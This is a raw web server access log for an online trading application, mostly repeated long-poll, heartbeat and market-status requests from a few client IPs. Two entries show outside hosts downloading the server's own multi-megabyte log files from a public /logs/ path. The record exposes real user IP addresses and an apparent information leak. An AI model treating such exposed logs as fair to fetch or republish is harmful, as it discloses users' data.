[09/Jan/2026:13:17:58 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936163184 HTTP/1.1" -
[09/Jan/2026:13:17:57 +0800] 47.128.55.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logs/secure_ssl_request_log.20250616 HTTP/1.1" 9549482
[09/Jan/2026:13:17:57 +0800] 47.128.19.108 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logs/secure_access_log.20250318 HTTP/1.1" 9482932
[09/Jan/2026:13:18:01 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:18:01 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:18:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936151562 HTTP/1.1" -
[09/Jan/2026:13:18:03 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:18:03 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:18:04 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936169193 HTTP/1.1" -
[09/Jan/2026:13:18:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:18:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:18:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936156678 HTTP/1.1" -
[09/Jan/2026:13:18:10 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936175199 HTTP/1.1" -
[09/Jan/2026:13:18:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936161741 HTTP/1.1" -
[09/Jan/2026:13:18:16 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936181186 HTTP/1.1" -
[09/Jan/2026:13:18:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936166849 HTTP/1.1" -
[09/Jan/2026:13:18:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936187198 HTTP/1.1" -
[09/Jan/2026:13:18:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936171987 HTTP/1.1" -
[09/Jan/2026:13:18:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:18:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:18:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936177115 HTTP/1.1" -
[09/Jan/2026:13:18:28 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936193186 HTTP/1.1" -
[09/Jan/2026:13:18:31 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:18:31 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:18:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936182160 HTTP/1.1" -
[09/Jan/2026:13:18:33 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:18:33 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:18:34 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936199184 HTTP/1.1" -
[09/Jan/2026:13:18:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:18:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:18:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:18:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:18:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:18:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:18:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936187331 HTTP/1.1" -
[09/Jan/2026:13:18:40 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936205187 HTTP/1.1" -
[09/Jan/2026:13:18:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936192448 HTTP/1.1" -
[09/Jan/2026:13:18:46 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936211185 HTTP/1.1" -
[09/Jan/2026:13:18:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936197564 HTTP/1.1" -
[09/Jan/2026:13:18:52 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936217186 HTTP/1.1" -
[09/Jan/2026:13:18:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936202693 HTTP/1.1" -
[09/Jan/2026:13:18:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:18:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:18:58 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936223189 HTTP/1.1" -
[09/Jan/2026:13:18:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936207848 HTTP/1.1" -
[09/Jan/2026:13:19:01 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:19:01 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:19:03 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:19:03 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:19:04 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936212905 HTTP/1.1" -
[09/Jan/2026:13:19:04 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936229199 HTTP/1.1" -
[09/Jan/2026:13:19:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:19:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:19:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936218066 HTTP/1.1" -
[09/Jan/2026:13:19:10 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936235185 HTTP/1.1" -
[09/Jan/2026:13:19:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936223117 HTTP/1.1" -
[09/Jan/2026:13:19:16 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936241195 HTTP/1.1" -
[09/Jan/2026:13:19:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936228284 HTTP/1.1" -
[09/Jan/2026:13:19:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936247198 HTTP/1.1" -
[09/Jan/2026:13:19:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936233431 HTTP/1.1" -
[09/Jan/2026:13:19:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:19:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:19:28 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936253185 HTTP/1.1" -
[09/Jan/2026:13:19:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936238570 HTTP/1.1" -
[09/Jan/2026:13:19:30 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:19:30 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:19:30 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:19:30 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:19:31 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:19:31 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:19:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936258235 HTTP/1.1" -
[09/Jan/2026:13:19:33 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:19:34 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:19:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936243661 HTTP/1.1" -
[09/Jan/2026:13:19:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:19:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:19:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936263262 HTTP/1.1" -
[09/Jan/2026:13:19:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936248803 HTTP/1.1" -
[09/Jan/2026:13:19:43 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936268295 HTTP/1.1" -
[09/Jan/2026:13:19:45 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936253861 HTTP/1.1" -
[09/Jan/2026:13:19:48 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936273347 HTTP/1.1" -
[09/Jan/2026:13:19:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936258996 HTTP/1.1" -
[09/Jan/2026:13:19:53 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936278370 HTTP/1.1" -
[09/Jan/2026:13:19:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936264206 HTTP/1.1" -
[09/Jan/2026:13:19:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:19:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:19:58 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936283391 HTTP/1.1" -
[09/Jan/2026:13:20:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936269349 HTTP/1.1" -
[09/Jan/2026:13:20:00 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:20:00 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:20:00 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:20:00 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:20:02 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:20:02 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:20:03 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936288424 HTTP/1.1" -
[09/Jan/2026:13:20:04 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:20:04 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:20:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936274412 HTTP/1.1" -
[09/Jan/2026:13:20:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:20:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:20:08 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936293454 HTTP/1.1" -
[09/Jan/2026:13:20:10 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936279550 HTTP/1.1" -
